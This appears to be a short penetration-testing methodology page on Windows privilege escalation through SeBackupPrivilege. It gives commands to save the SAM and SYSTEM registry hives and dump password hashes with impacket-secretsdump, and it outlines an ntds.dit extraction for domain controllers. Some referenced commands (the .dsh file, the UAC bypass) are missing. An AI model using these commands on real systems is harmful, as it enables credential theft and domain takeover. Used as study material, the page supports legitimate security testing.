Methodology

SEBackupPrivilege

if you have SEBackup Privilege, then you can access any file on the system. the best way is to get sam and system file and download those to your system and get the administrator hash


reg save hklm\sam c:\users\username\sam

reg save hklm\system c:\users\username\system


# download sam and system on your kali machine and then use impacket-secretdump

impacket-secretsdump -sam sam -system system LOCAL 

Second Method : SEBackupPrivilege (Domain Joined Machines)

We can use the Second Method for Domain Joined Machines

Create a file called test.dsh

Upload this file to the target machine and then run the following command

after this you should get ntds.dit file in your current working directory

we also need system file for this to work

after you can use impacket-secretsdump and get the administrator hash.

RUNAS (Changing user Sessions)

Bypassing UAC

we can bypass UAC in rdp session in a powershell shell by running the following command

Last updated